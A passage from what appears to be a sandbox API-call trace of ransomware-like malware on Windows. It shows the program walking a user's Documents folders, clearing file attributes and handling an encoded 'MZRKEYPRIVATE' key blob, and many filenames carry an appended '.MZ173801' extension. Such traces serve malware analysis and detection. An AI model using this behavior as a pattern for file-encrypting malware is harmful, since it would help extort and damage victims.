"c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\xipvtvqfodb6mwbl\\r_ivgp1g6.rtf.mz173801")) returned 1 [0170.614] GetCurrentThreadId () returned 0xab4 [0170.614] GetCurrentThreadId () returned 0xab4 [0170.614] GetCurrentThreadId () returned 0xab4 [0170.614] GetCurrentThreadId () returned 0xab4 [0170.614] GetCurrentThreadId () returned 0xab4 [0170.614] GetCurrentThreadId () returned 0xab4 [0170.614] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbba3680, ftCreationTime.dwHighDateTime=0x1d5efc0, ftLastAccessTime.dwLowDateTime=0x7a2ebcf0, ftLastAccessTime.dwHighDateTime=0x1d5e970, ftLastWriteTime.dwLowDateTime=0x7a2ebcf0, ftLastWriteTime.dwHighDateTime=0x1d5e970, nFileSizeHigh=0x0, nFileSizeLow=0x5a89, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="tX2YPj0q7xi_0h30ePDe.odt", cAlternateFileName="TX2YPJ~1.ODT")) returned 1 [0170.614] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0170.614] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0170.614] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbba3680, ftCreationTime.dwHighDateTime=0x1d5efc0, ftLastAccessTime.dwLowDateTime=0x7a2ebcf0, ftLastAccessTime.dwHighDateTime=0x1d5e970, ftLastWriteTime.dwLowDateTime=0x7a2ebcf0, ftLastWriteTime.dwHighDateTime=0x1d5e970, nFileSizeHigh=0x0, nFileSizeLow=0x5a89, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="tX2YPj0q7xi_0h30ePDe.odt", cAlternateFileName="TX2YPJ~1.ODT")) returned 0 [0170.615] GetLastError () returned 0x12 [0170.615] FindClose (in: hFindFile=0xa1b9a0 | out: hFindFile=0xa1b9a0) returned 1 [0170.615] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\XIPVtvqfodb6mWbl\\*.*", lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc6fa6f0, ftCreationTime.dwHighDateTime=0x1d5e517, ftLastAccessTime.dwLowDateTime=0x8fd643bd, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x8fd643bd, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName=".", cAlternateFileName="")) returned 0xa1b7a8 [0170.615] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f530 | out: lpLocalFileTime=0x19f530) returned 1 [0170.615] FileTimeToDosDateTime (in: lpFileTime=0x19f530, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0170.615] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc6fa6f0, ftCreationTime.dwHighDateTime=0x1d5e517, ftLastAccessTime.dwLowDateTime=0x8fd643bd, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x8fd643bd, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="..", cAlternateFileName="")) returned 1 [0170.615] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0170.615] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0170.615] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc33a2d40, ftCreationTime.dwHighDateTime=0x1d5eeec, ftLastAccessTime.dwLowDateTime=0x16202a30, ftLastAccessTime.dwHighDateTime=0x1d5e670, ftLastWriteTime.dwLowDateTime=0x8f400f12, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x145e8, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="aFvFEbnBHEh4Rtvxta.pptx.MZ173801", cAlternateFileName="AFVFEB~1.MZ1")) returned 1 [0170.615] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0170.615] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0170.615] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9df57560, ftCreationTime.dwHighDateTime=0x1d5e7af, ftLastAccessTime.dwLowDateTime=0xf9c3b080, ftLastAccessTime.dwHighDateTime=0x1d5e973, ftLastWriteTime.dwLowDateTime=0xf9c3b080, ftLastWriteTime.dwHighDateTime=0x1d5e973, nFileSizeHigh=0x0, nFileSizeLow=0x143be, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="B3BnBu7o8.odp", cAlternateFileName="B3BNBU~1.ODP")) returned 1 [0170.615] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0170.615] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0170.615] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6626ed0, ftCreationTime.dwHighDateTime=0x1d5ebe5, ftLastAccessTime.dwLowDateTime=0x537233e0, ftLastAccessTime.dwHighDateTime=0x1d5ea0f, ftLastWriteTime.dwLowDateTime=0x8f400f12, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x62b7, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="b4R07D-sGzHx.ppt.MZ173801", cAlternateFileName="B4R07D~1.MZ1")) returned 1 [0170.615] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0170.615] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0170.615] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8a0b80, ftCreationTime.dwHighDateTime=0x1d5e294, ftLastAccessTime.dwLowDateTime=0x1f7ef750, ftLastAccessTime.dwHighDateTime=0x1d5e260, ftLastWriteTime.dwLowDateTime=0x1f7ef750, ftLastWriteTime.dwHighDateTime=0x1d5e260, nFileSizeHigh=0x0, nFileSizeLow=0x3707, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="BNpcCajc.odt", cAlternateFileName="")) returned 1 [0170.615] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0170.615] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0170.615] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac4f82e0, ftCreationTime.dwHighDateTime=0x1d5e6ec, ftLastAccessTime.dwLowDateTime=0x3d7e13b0, ftLastAccessTime.dwHighDateTime=0x1d5ec71, ftLastWriteTime.dwLowDateTime=0x8f427113, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x163d4, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="djzV bn-yy2T_tgZWYuQ.ppt.MZ173801", cAlternateFileName="DJZVBN~1.MZ1")) returned 1 [0170.616] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0170.616] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0170.616] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26753270, ftCreationTime.dwHighDateTime=0x1d5ea91, ftLastAccessTime.dwLowDateTime=0x90207c70, ftLastAccessTime.dwHighDateTime=0x1d5e28a, ftLastWriteTime.dwLowDateTime=0x8fd3e2d6, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x12b41, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="pqWQRVWDuPxq3Gg.pdf.MZ173801", cAlternateFileName="PQWQRV~1.MZ1")) returned 1 [0170.616] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0170.616] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0170.616] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf27bb6c0, ftCreationTime.dwHighDateTime=0x1d5e9a4, ftLastAccessTime.dwLowDateTime=0x3deb33a0, ftLastAccessTime.dwHighDateTime=0x1d5f072, ftLastWriteTime.dwLowDateTime=0x8fd643bd, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0xad8d, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="r_IvGp1G6.rtf.MZ173801", cAlternateFileName="R_IVGP~1.MZ1")) returned 1 [0170.616] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0170.616] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0170.616] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbba3680, ftCreationTime.dwHighDateTime=0x1d5efc0, ftLastAccessTime.dwLowDateTime=0x7a2ebcf0, ftLastAccessTime.dwHighDateTime=0x1d5e970, ftLastWriteTime.dwLowDateTime=0x7a2ebcf0, ftLastWriteTime.dwHighDateTime=0x1d5e970, nFileSizeHigh=0x0, nFileSizeLow=0x5a89, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="tX2YPj0q7xi_0h30ePDe.odt", cAlternateFileName="TX2YPJ~1.ODT")) returned 1 [0170.616] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0170.616] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0170.616] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbba3680, ftCreationTime.dwHighDateTime=0x1d5efc0, ftLastAccessTime.dwLowDateTime=0x7a2ebcf0, ftLastAccessTime.dwHighDateTime=0x1d5e970, ftLastWriteTime.dwLowDateTime=0x7a2ebcf0, ftLastWriteTime.dwHighDateTime=0x1d5e970, nFileSizeHigh=0x0, nFileSizeLow=0x5a89, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="tX2YPj0q7xi_0h30ePDe.odt", cAlternateFileName="TX2YPJ~1.ODT")) returned 0 [0170.616] GetLastError () returned 0x12 [0170.616] FindClose (in: hFindFile=0xa1b7a8 | out: hFindFile=0xa1b7a8) returned 1 [0170.616] FindNextFileW (in: hFindFile=0xa1b738, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28dcc210, ftCreationTime.dwHighDateTime=0x1d5edfe, ftLastAccessTime.dwLowDateTime=0x8314e310, ftLastAccessTime.dwHighDateTime=0x1d5e6de, ftLastWriteTime.dwLowDateTime=0x8f3dac1f, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0xa6b, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="Zfw8B2NL L0e8.pdf.MZ173801", cAlternateFileName="ZFW8B2~1.MZ1")) returned 1 [0170.616] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0170.616] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0170.616] FindNextFileW (in: hFindFile=0xa1b738, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfcb1db60, ftCreationTime.dwHighDateTime=0x1d5e8a5, ftLastAccessTime.dwLowDateTime=0x6dc5a0e0, ftLastAccessTime.dwHighDateTime=0x1d5e4cb, ftLastWriteTime.dwLowDateTime=0x6dc5a0e0, ftLastWriteTime.dwHighDateTime=0x1d5e4cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="zkcrT -8SHIvOP_POgOU", cAlternateFileName="ZKCRT-~1")) returned 1 [0170.616] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0170.616] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0170.616] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\zkcrT -8SHIvOP_POgOU\\*.*", lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfcb1db60, ftCreationTime.dwHighDateTime=0x1d5e8a5, ftLastAccessTime.dwLowDateTime=0x6dc5a0e0, ftLastAccessTime.dwHighDateTime=0x1d5e4cb, ftLastWriteTime.dwLowDateTime=0x6dc5a0e0, ftLastWriteTime.dwHighDateTime=0x1d5e4cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName=".", cAlternateFileName="")) returned 0xa1b818 [0170.616] FindNextFileW (in: hFindFile=0xa1b818, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfcb1db60, ftCreationTime.dwHighDateTime=0x1d5e8a5, ftLastAccessTime.dwLowDateTime=0x6dc5a0e0, ftLastAccessTime.dwHighDateTime=0x1d5e4cb, ftLastWriteTime.dwLowDateTime=0x6dc5a0e0, ftLastWriteTime.dwHighDateTime=0x1d5e4cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="..", cAlternateFileName="")) returned 1 [0170.617] FindNextFileW (in: hFindFile=0xa1b818, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1972140, ftCreationTime.dwHighDateTime=0x1d5ea2e, ftLastAccessTime.dwLowDateTime=0x3f8c8230, ftLastAccessTime.dwHighDateTime=0x1d5f05f, ftLastWriteTime.dwLowDateTime=0x3f8c8230, ftLastWriteTime.dwHighDateTime=0x1d5f05f, nFileSizeHigh=0x0, nFileSizeLow=0x16db6, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="0anbzC4wy3QV.xls", cAlternateFileName="0ANBZC~1.XLS")) returned 1 [0170.617] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f530 | out: lpLocalFileTime=0x19f530) returned 1 [0170.617] FileTimeToDosDateTime (in: lpFileTime=0x19f530, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0170.617] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\zkcrT -8SHIvOP_POgOU\\0anbzC4wy3QV.xls" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\zkcrt -8shivop_pogou\\0anbzc4wy3qv.xls"), fInfoLevelId=0x0, lpFileInformation=0x19f4c0 | out: lpFileInformation=0x19f4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1972140, ftCreationTime.dwHighDateTime=0x1d5ea2e, ftLastAccessTime.dwLowDateTime=0x3f8c8230, ftLastAccessTime.dwHighDateTime=0x1d5f05f, ftLastWriteTime.dwLowDateTime=0x3f8c8230, ftLastWriteTime.dwHighDateTime=0x1d5f05f, nFileSizeHigh=0x0, nFileSizeLow=0x16db6)) returned 1 [0170.617] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\zkcrT -8SHIvOP_POgOU\\0anbzC4wy3QV.xls" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\zkcrt -8shivop_pogou\\0anbzc4wy3qv.xls")) returned 0x20 [0170.617] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\zkcrT -8SHIvOP_POgOU\\0anbzC4wy3QV.xls", dwFileAttributes=0x80) returned 1 [0170.619] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0170.619] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24aff6c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 